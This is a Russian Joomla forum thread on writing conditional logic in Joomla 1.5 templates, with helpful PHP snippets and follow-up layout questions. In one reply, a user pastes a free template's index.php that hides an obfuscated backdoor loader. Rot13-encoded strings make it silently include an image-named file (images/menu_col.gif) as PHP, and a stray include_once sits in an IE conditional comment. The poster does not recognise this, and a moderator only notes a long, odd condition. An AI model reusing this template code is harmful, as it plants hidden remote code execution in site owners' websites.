LiveInternetMail.ru
Форум русской поддержки Joomla!® CMS
13.02.2012, 05:35:38 *
Добро пожаловать, Гость. Пожалуйста, войдите или зарегистрируйтесь.
Вам не пришло письмо с кодом активации?

Войти
   
   Начало   Поиск Joomla 1.7 FAQ Joomla 1.5 FAQ Joomla 1.0 FAQ Правила форума Новости Joomla Войти Регистрация Помощь  
Страниц: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15]   Вниз
  Добавить закладку  |  Печать  
Автор Тема: Различные условия в шаблонах Joomla 1.5  (Прочитано 85921 раз)
0 Пользователей и 1 Гость смотрят эту тему.
beliyadm
Профи
********

Репутация: +1432/-61
Offline Offline

Пол: Мужской
Сообщений: 9254


Севастополь==Россия


« : 04.06.2009, 19:58:27 »

Основные моменты по созданию наиболее часто употребляемых условий в шаблонах для Joomla 1.5. Для простоты примеров будем работать с стандартным com_content

Для начала рассмотрим получение необходимых параметров, которые в Joomla 1.0 было достаточно объявить как глобальные
$Itemid JRequest::getInt'Itemid'1'get' ); //получем текущий ItemID, если не определен – то по умолчанию будет 1
$option JRequest::getVar('option'null); // получаем название текущего компонента, в нашем случае будет com_content либо NULL
$view JRequest::getVar('view'null); // получаем значение текущей вьюшки

Примечания:
 - Что такое $Itemid можно прочитать в статье http://joomlaforum.ru/index.php/topic,12816.0.html, по умолчанию значение для главной страницы равно 1, смотреть в модуле mainmenu первую ссылку, либо ссылку, опубликованную в состоянии «по умолчанию»

Какие могут быть значения для $view (Еще может добавляться параметр layout):
Section – если тип ссылки «содержимое раздела»
category – если тип ссылки «содержимое категории» либо переходим из раздела «содержимое раздела», либо тип «блог-содержимое категории»
article – режим просмотра полного текста материала
Как узнать необходимый параметр – отлючить стандартный (или сторонний) SEF и смотреть на URL (до полного просветления).

Теперь дальше рассмотрим различные ситуации, что могут понадобиться. Для начала HTML код по умолчанию (обычный трехколоночный макет без шапки и подвала, в центре место для pathway и вывода компонентов, слева\справа по позиции модулей)
Код:
<div class="leftcolumn"><jdoc:include type="modules" name="left" style="xhtml" /></div>
<div class="centercolumn"><jdoc:include type="modules" name="breadcrumb" /><jdoc:include type="component" /></div>
<div class="rightcolumn"><jdoc:include type="modules" name="right" style="xhtml" /></div>

1 – если на позиции RIGHT не опубликовано ни одного модуля, то не показываем определенный блок сайта
Код
<div class="leftcolumn"><jdoc:include type="modules" name="left" style="xhtml" /></div>
<?php if($this->countModules('right')) : ?>
<div class="centercolumn"><jdoc:include type="modules" name="breadcrumb" /><jdoc:include type="component" /></div>
<div class="rightcolumn"><jdoc:include type="modules" name="right" style="xhtml" /></div>
<?php else: ?>
<div class="centercolumn_full"><jdoc:include type="modules" name="breadcrumb" /><jdoc:include type="component" /></div>
<?php endif; ?>
Сакральный смысл – если на позиции нет ни одного модуля, мы не покажем вообще rightcolumn, но чтобы центральная колонка раздвинулась на всю оставшуюся ширину, мы к ней применяем отдельный класс centercolumn_full

2 – мы не хотим показывать pathway (хлебные крошки) на главной странице, а только на внутренних
Код
<div class="leftcolumn"><jdoc:include type="modules" name="left" style="xhtml" /></div>
<div class=”centercolumn”>
<?php if ($Itemid != '1') { ?>
<jdoc:include type="modules" name="breadcrumb" />
<?php } else { } ?>
<jdoc:include type="component" /></div>
<div class="rightcolumn"><jdoc:include type="modules" name="right" style="xhtml" /></div>

3 – хотим добавить в центральную колонку модуль (на позиции user1), который будет выводить баннеры (или другую информацию) под текстом статьи, но показывать его только в режиме просмотра полного текста статьи
Код
<div class="leftcolumn"><jdoc:include type="modules" name="left" style="xhtml" /></div>
<div class="centercolumn">
<jdoc:include type="modules" name="breadcrumb" />
<jdoc:include type="component" /></div>
<?php if (($option == 'com_content') && ($view == 'article')) { ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php } else {} ?>
<div class="rightcolumn"><jdoc:include type="modules" name="right" style="xhtml" /></div>

4 – хотим показывать правую колонку (целиком) только для авторизованного пользователя (там будут какие-нибудь модули), а гости будут видеть только левый блок и основной контент
Код
<div class="leftcolumn"><jdoc:include type="modules" name="left" style="xhtml" /></div>
<div class="centercolumn"><jdoc:include type="modules" name="breadcrumb" /><jdoc:include type="component" /></div>
<?php
$user = & JFactory::getUser();
if ($user->
get('guest') == '1') { } else { ?>
<div class="rightcolumn"><jdoc:include type="modules" name="right" style="xhtml" /></div>
<?php } ?>

5 – хотим авторизованному пользователю показать приветствие с его именем в правой колонке
Код
<div class="leftcolumn"><jdoc:include type="modules" name="left" style="xhtml" /></div>
<div class="centercolumn"><jdoc:include type="modules" name="breadcrumb" /><jdoc:include type="component" /></div>
<?php
$user = & JFactory::getUser();
echo ‘Привет тебе, о великий '.$user->username'; ?>
<div class="rightcolumn"><jdoc:include type="modules" name="right" style="xhtml" /></div>

6 – хотим в произвольном месте шаблона (ну к примеру в левой колонке над модулями) вывести заголовок текущей страницы
Код
<div class="leftcolumn">
<?php
$document = & JFactory::getDocument();
echo $document->
title; ?>
<jdoc:include type="modules" name="left" style="xhtml" /></div>
<div class="centercolumn"><jdoc:include type="modules" name="breadcrumb" /><jdoc:include type="component" /></div>
<div class="rightcolumn"><jdoc:include type="modules" name="right" style="xhtml" /></div>

7 – универсальный способ проверки на главную страницу
Код
$menu = & JSite::getMenu();
if ($menu->getActive() == $menu->getDefault()) {
// на главной
} else {
// тут всё что не на главной
}

Дополнительно:
Все необходимые параметры желательно объявить где-нибудь в index.php заранее и дальше только пользоваться. К примеру сразу после <body> вставить
$Itemid JRequest::getInt'Itemid'1'get' );
$option JRequest::getVar('option'null); 
$view JRequest::getVar('view'null); 
$document 
	
= & 
JFactory::getDocument();
$user = & JFactory::getUser();

Дополнительные ссылки:
Accessing the current user object
[howto] Создание шаблона для Joomla! 1.5
Шаблонизация для компонентов и модулей, на примере модуля patway
и другие ссылки в Joomla FAQ, относящиеся к разделу Шаблоны - установка, создание, проблемные вопросы (много из Joomla 1.0, но много и схожих приемов\примеров)


P.S. естественно, что это не открывает Америки и список примеров далеко не полный, но для базовой основы в качестве ответов на 90% вопросов и пищи для размышлений годится
« Последнее редактирование: 09.02.2010, 13:29:07 от beliyadm » Записан
 
jeant
Захожу иногда
**

Репутация: +0/-0
Offline Offline

Сообщений: 11


« Ответ #421 : 10.12.2011, 22:01:07 »

Спасибо, работает.
Записан
mxxx
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Пол: Мужской
Сообщений: 85



« Ответ #422 : 27.12.2011, 15:30:03 »

как можно сделать так чтоб только на главном странице не отображались содержимое <jdoc:include type="component" /> а отображался модули 
Записан
TakT
Осваиваюсь на форуме
***

Репутация: +5/-0
Offline Offline

Пол: Мужской
Сообщений: 109


« Ответ #423 : 27.12.2011, 19:09:45 »

как можно сделать так чтоб только на главном странице не отображались содержимое <jdoc:include type="component" /> а отображался модули 

$menu = & JSite::getMenu();
Код:
if ($menu->getActive() == $menu->getDefault()) {
<jdoc:include type="modules" name="right" style="xhtml" />
} else {
<jdoc:include type="component" />
}

но это варварство, ваш вопрос можно решить стандартными средствами Joomla!
Записан
beliyadm
Профи
********

Репутация: +1432/-61
Offline Offline

Пол: Мужской
Сообщений: 9254


Севастополь==Россия


« Ответ #424 : 28.12.2011, 01:06:30 »

но это варварство, ваш вопрос можно решить стандартными средствами Joomla!
далеко не всегда, очень далеко
Записан
TakT
Осваиваюсь на форуме
***

Репутация: +5/-0
Offline Offline

Пол: Мужской
Сообщений: 109


« Ответ #425 : 28.12.2011, 06:07:21 »

далеко не всегда, очень далеко

ну может я ошибаюсь, но можно ведь засунуть модуль в статью и определить эту статью на главную страницу. По-моему с этим проблем возникнуть ни должно.
Записан
mxxx
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Пол: Мужской
Сообщений: 85



« Ответ #426 : 28.12.2011, 12:23:46 »

спасибо решил

Код:
<?php
$option = JRequest::getVar( 'option' );
$id = JRequest::getInt( 'id' );
?>
<?php  if($option == 'com_content' && !$id) : ?>
 <div class="content">
  <jdoc:include type="modules" name="catalog" style="raw" />
 </div>
<?php endif ?>
<?php $menu = & JSite::getMenu();
if ($menu->getActive()!== $menu->getDefault()) { ?>
 <div class="content shadow" style="background-color:#FFF;"><div class="middle">
  <jdoc:include type="component" />
 </div></div>
<?php } ?>
 <div class="rightBar">
  <jdoc:include type="modules" name="right" style="raw" />
 </div>
Записан
bzzik
JComments Tester
*

Репутация: +190/-0
Offline Offline

Пол: Мужской
Сообщений: 3489


Contra Gaming Community


« Ответ #427 : 28.12.2011, 13:08:20 »

Есть кстати небольшая оптимизация вот этого кода:

Код
$menu = &JSite::getMenu();
 
if ( $menu->getActive() == $menu->getDefault() ) {
<jdoc:include type="modules" name="right" style="xhtml" />
} else {
<jdoc:include type="component" />
}
 

Можно сравнивать не объекты циликом, а только id:

Код
$menu = &JSite::getMenu();
 
if ( $menu->getActive()->id == $menu->getDefault()->id ) {
<jdoc:include type="modules" name="right" style="xhtml" />
} else {
<jdoc:include type="component" />
}

Должно сработать Azn
Записан
altvvc
Давно я тут
****

Репутация: +7/-0
Offline Offline

Пол: Мужской
Сообщений: 286



« Ответ #428 : 28.12.2011, 14:55:29 »

Можно просто на главной количество выводимых новостей поставить на 0 (ноль) и все...
Записан
renault
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 84


« Ответ #429 : 30.12.2011, 21:57:08 »

далеко не всегда, очень далеко
у меня с шаблоном серьезная проблема, в целом картина выглядит так, может у меня где-то выполняет в коде условие, что только левая и центральая колонка должны показываться, а правая вниз спускаться?

(20% левая колонка) + (80 % центральная колонка)
----------------------------------------------------
и на уровень ниже по правому борту-
                                          (20% правая колонка)

Код для Index.php шаблона
Код:
<?php
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<!--[if lte IE 7]>
<link rel="stylesheet" href="templates/<?php echo $this->template ?>/css/ie7.css" type="text/css" <?php include_once('html/pagination.php');?> />
<![endif]-->

</head>
<body id="page_bg">
<div id="top">
    <div class="pill_m">
<div id="pillmenu">
<jdoc:include type="modules" name="user3" />
</div>
</div>
</div>
<div id="header">
<div id="logo">
<a href="index.php"><?php echo $mainframe->getCfg('sitename') ;?></a>
<jdoc:include type="modules" name="user4" />

</div>
</div>
       <!--  -->
<div class="center">
<div id="wrapper">
<div id="content">

<div id="leftcolumn">

<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
            <?php endif; ?>
<jdoc:include type="modules" name="left" style="rounded" />

</div>


<div id="maincolumn">

<div class="nopad">
                    <jdoc:include type="message" />
<?php if($this->params->get('showComponent')) : ?>
<jdoc:include type="component" />
<?php endif; ?>
</div>

<div class="clr"></div>

    </div>



    </div>

    </div>

</div>
<div id="rightcolumn">

<jdoc:include type="modules" name="right" style="rounded" />
</div>


<div id="footer">
<p><jdoc:include type="module" style="footer" />
<?php echo JText_('Powered by')?> <a href="http://freejoomlatemp.ru">Joomla!</a>.
            С помощью <a href="http://art-desig.ru/">CSS</a>.
            <jdoc:include type="modules" name="debug" />
</p>
</div>
</body>
</html>

Записан
beliyadm
Профи
********

Репутация: +1432/-61
Offline Offline

Пол: Мужской
Сообщений: 9254


Севастополь==Россия


« Ответ #430 : 30.12.2011, 22:47:42 »

Ну так ищите в своем коде if else, я там нашел длинную строку с кучей условий, что там отрабатывается - не смотрел, там и показ right и проверка на form и подключение файлов, какие то шаблоны
Записан
Страниц: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15]   Вверх
  Добавить закладку  |  Печать  
 
Перейти в:  

Рейтинг@Mail.ru Rambler Top100 Powered by SMF 1.1.16 | SMF © 2006, Simple Machines

Joomlaforum.ru is not affiliated with or endorsed by the Joomla! Project or Open Source Matters.
The Joomla! name and logo is used under a limited license granted by Open Source Matters
the trademark holder in the United States and other countries.

LiveInternet